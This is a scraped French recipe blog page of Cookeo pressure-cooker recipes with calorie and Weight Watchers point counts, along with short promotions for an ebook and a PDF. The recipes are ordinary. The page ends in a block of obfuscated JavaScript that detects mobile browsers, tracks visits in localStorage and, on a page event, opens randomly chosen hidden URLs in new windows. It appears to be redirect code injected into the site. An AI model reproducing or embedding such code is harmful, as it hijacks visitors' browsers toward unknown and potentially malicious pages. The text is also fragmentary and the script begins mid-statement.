Minestrone poireaux recette cookeo

140 CALORIES 3 PP 3 SP

Ingrédients pour 4 personnes

200 g de courgettes

200 g de carottes

200 g de tomates

200 g de poireaux congelés ou frais

1 oignon

2 cuillères à soupe d’huile d’olive

Quelques brins de persil

50 g de pâtes

1 cube de bouillon de bœuf

900 ml  d’eau

100 ml de vin blanc

Sel

Poivre

Préparation

Lavez vos poireaux et coupez les en rondelles si ce sont des poireaux frais .

Coupez les carottes en morceaux

Coupez l’oignon en morceaux

Rincez les pâtes sous l’eau

Lavez les tomates et les courgettes puis coupez les en morceaux

Lavez et ciselez le persil

Préparez un bouillon avec 1l d’eau et un cube de bouillon de bœuf émietté.

Mode dorer

Versez l’huile dans la cuve ,quand l’huile est chaude faites dorer les oignons .

Déposez dans la cuve les morceaux de tomates ,de carottes de courgettes , de poireaux, le persil ciselé .

Versez le bouillon composé de 100 ml de vin blanc ,900 ml d’eau et d’un cube de bouillon de bœuf.

Cuisson rapide ou sous pression

Programmez 5 mn

Salez et poivrez selon votre convenance

Servez chaud .

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80 CALORIES 2 PP 2 SP

Ingrédients pour 4 personnes

4 pommes de terre

1 cube de bouillon de bœuf

1 l d’eau

1 petite boite de concentré de tomates

Sel

Poivre

Préparation

Epluchez les pommes de terre puis passez les sous l’eau. Coupez les en morceaux .

Ajoutez ensuite les morceaux de pommes de terre dans la cuve .

Versez 1 l d’eau avec un cube de bouillon de bœuf émietté.

Cuisson rapide ou sous  pression

Programmez  8  mn

Mixer la préparation  puis ajoutez du concentré de tomates  mélangez Servez chaud

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80 CALORIES 2 PP 1 SP

Ingrédients pour 4 personnes

800 g de poireaux

2 cuillères à soupe d’huile d’olive

100 g d’oignons

Sel

Poivre

Le jus d’un citron pressé

1 cuillère à soupe de moutarde

Préparation

Lavez et coupez les poireaux en rondelles

Mode dorer

Versez l’huile  dans la cuve, quand l’huile est chaude faites dorer les oignons puis ajoutez les rondelles de poireaux .

Versez 100 ml d’eau et 100 ml de vin blanc dans la cuve

Salez et poivrez selon votre convenance

Cuisson rapide ou sous pression

Programmez 5 mn

Egouttez la cuve quand la cuisson est terminée.

Repassez en mode dorer

Quand le préchauffage est terminée redéposez les poireaux dans la cuve .

Ajoutez la cuillère à soupe de moutarde et le jus de citron . Laissez en mode dorer pendant 5 mn

Servez chaud avec du jambon par exemple

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 260 CALORIES 5 PP 5 SP

Ingrédients pour 4 personnes

4 côtes de porc ou escalopes de porc

500 g de chou vert

300 g de pommes de terre

400 g de carottes

100 ml de vin blanc

300 ml d’eau

1 cube de bouillon de bœuf

Sel

Poivre

Préparation

Coupez les carottes en morceaux.

Epluchez l’oignon et coupez le en morceaux.

Epluchez coupez, lavez les pommes de terre.

Effeuillez et lavez le chou.

Préparation

Déposez dans la cuve les carottes, les feuilles de choux ,les pommes de terre et les côtes de porc.

Versez un bouillon composé de 300 ml d’eau ,100 ml de vin blanc et d’un cube de bouillon de bœuf émietté.

Salez et poivrez selon votre convenance.

Cuisson rapide ou sous pression

Programmez 10 mn

Servez chaud

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Voici une adaptation d’une recette Weight Watchers de sauce blanche  pour notre cookeo.

1 PP 1SP 21 CALORIES

Ingrédients pour 500 ml de sauce (2 personnes)

500 ml d’eau

1 cube de bouillon de légumes

2 cuillères à soupe de lait écrémé en poudre

1 cuillère à soupe de maïzena

1 cuillère à café de muscade moulue

Préparation

Délayez dans un bol la maïzena avec de l’eau.

Mode dorer

Mélangez dans la cuve le lait en poudre avec les 500 ml d’eau.

Ajoutez la maïzena délayée.

Restez en mode dorer jusqu’à épaississement de la sauce.

Arrêtez le mode dorer puis salez et poivrez selon votre convenance.

Ajoutez la muscade en poudre

Vous pouvez aussi ajoutez du curry

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Stérilisation ratatouille cookeo

Pour réaliser une ratatouille suivez ce lien http://www.recettesrapidesfaciles.com/2018/04/6-recettes-cookeo-ratatouille.html

Préparation

Lavez vos bocaux et leurs couvercles et essuyer les.

Versez la ratatouille  dans des bocaux et fermez les couvercles.

Enveloppez les bocaux avec des torchons et déposez les dans la cuve du cookeo.

Versez 1,5 l d’eau .

Cuisson rapide ou sous pression

Programmez 20 mn

Quand la cuisson rapide ou sous pression est terminée ouvrez votre cookeo et laissez refroidir.

Essuyez vos bocaux et rangez-les.

Pour savoir si les bocaux sont stériles lors de l’ouverture vous devez entendre un clac à l’ouverture.

Attention en cas de problème lors de la stérilisation la garantie Moulinex ne fonctionne pas

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// Widgets Amazon.fr

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Calamars tomates weight watchers cookeo

Qui veut réaliser cette recette  issue du livre « super facile weight watchers » ? Le principe est simple j’ai transformé la recette originale pour l’adapter au cookeo mais je ne l’ai pas réalisée. Le principe du jeu est simple ,vous réaliser la recette et vous me proposez la photo . Les meilleures photos seront publiées dans cet article avec votre nom si vous le souhaitez.

Pour les photos vous pouvez les diffuser dans le groupe ou la page facebook sous la publication de l ‘article.

Si toutefois dans la recette proposée vous trouvez quelque chose qui ne va pas , contactez moi .

Ingrédients pour 4 personnes

480 g de calamars surgelés

1 échalote

250 g de tomates cerises

2 cuillères à café d’huile d’olive

 200 g de pulpe de tomates en dés

1 brin de basilic

100 ml  d’eau

Sel

Poivre

Préparation

Hachez l’echalote.

Lavez les tomates cerises

Mode dorer

Versez l’huile d’olive dans la cuve

 Faites revenir les morceaux échalotes hachés pendant une minute .

Ajoutez les tomates cerises et les anneaux de calamars et faites revenir pendant 2 minutes

Verser la pulpe de dés de tomates et versez 100 ml d’eau

Salez et poivrez selon votre convenance

Cuisson rapide sous pression

Programmer 5 mn

Servez chaud

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Moule silicone 20 cms cookeo

En principe quand on utilise le panier vapeur du cookeo on ne peut utiliser qu’un moule de 18 cms . Mais il, existe une astuce que vous pouvez découvrir en suivant la vidéo ci dessous qui va vous permettre d’utiliser un moule de 20 cms .

Pour accéder au moule silicone de 20 cms cliquez ICI ou sur l’image 

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Côtes de porc au Boursin recette cookeo

305 CALORIES 7 PP 8 SP

Ingrédients pour 4 personnes

4 côtes de porc

1 pot de Boursin

1 cube de bouillon de bœuf

200 ml d’eau

100 ml de vin blanc

Sel

Poivre

2 cuillères à soupe d’huile d’olive

100 g d’oignons congelés ou frais

200 g de champignons de Paris congelés ou frais

Préparation

Mode dorer

Versez l’huile d’olive dans la cuve ,quand l’huile est chaude faites revenir pendant 1 mn les oignons .

Ajoutez ensuite les côtes de porc pendant 2 mn

Ajoutez les champignons.

Ajoutez un bouillon composé de 200 ml d’eau,100 ml de vin blanc, un cube de bouillon de bœuf émietté.

Salez et poivrez selon votre convenance

Cuisson rapide ou sous pression programmez 8 mn

Quand la cuisson est terminée ajoutez le Boursin ,mélangez et servez chaud (si vous trouvez qu’il y a trop de liquide vous pouvez en enlever avant de mettre le Boursin

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Maigrir sans régime

Maigrir sans régime est-ce vraiment possible ? Comment peut-on atteindre une perte de poids sans avoir recours à des régimes restrictifs ou draconiens ? Ce petit ebook que j’ai écrit vous présente la méthode que j’utilise quand j’ai pris du poids et que la côte d’alerte est atteinte. Attention cette méthode n’est pas une méthode révolutionnaire. Il s’agit tout simplement de rééquilibrer notre alimentation et de pratiquer des activités physiques et sportives.

Vous trouverez dans cet ebook des exemples de séances qui vont vous permettent de perdre du poids.  

Pour acquérir cet ebook cliquez sur l’image ou sur le lien ci dessous 

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Compote d’abricots recette cookeo

Voici une recette simple et facile à réaliser avec votre cookeo . Cette recette présente seulement 200 calories . Pour un goût plus sucré vous pouvez ajouter plus de sucre mais la facture calorique sera plus lourde .

Ingrédients pour 3 pots

1 kg d’abricots /50 g de sucre/50 ml d’eau

Préparation

Lavez les abricots et coupez en 2 pour enlever les noyaux.

Déposez les morceaux d’abricots dans la cuve.

Versez 50 ml et 50 g de sucre.

Cuisson rapide ou sous pression

Programmez 6 mn

Quand la cuisson est terminée mixez la préparation.

Versez la préparation mixée dans des pots à confiture. Vissez le couvercle et retournez les pots.

Laissez refroidir à l’air libre.

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Cookeo USB tradition le PDF gratuit en cliquant sur l’image 

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Fiche cookeo rôti de veau au vin rouge 315 CALORIES 7 PP 7 SP

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Ingrédients pour 4 personnes pour cette recette cookeo express

Préparation de cette recette cookeo express

 

Remarque

Recette express cookeo rognon tomate par jphil3600

//


//

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A gagner gratuitement cliquez ici 

//
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|nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());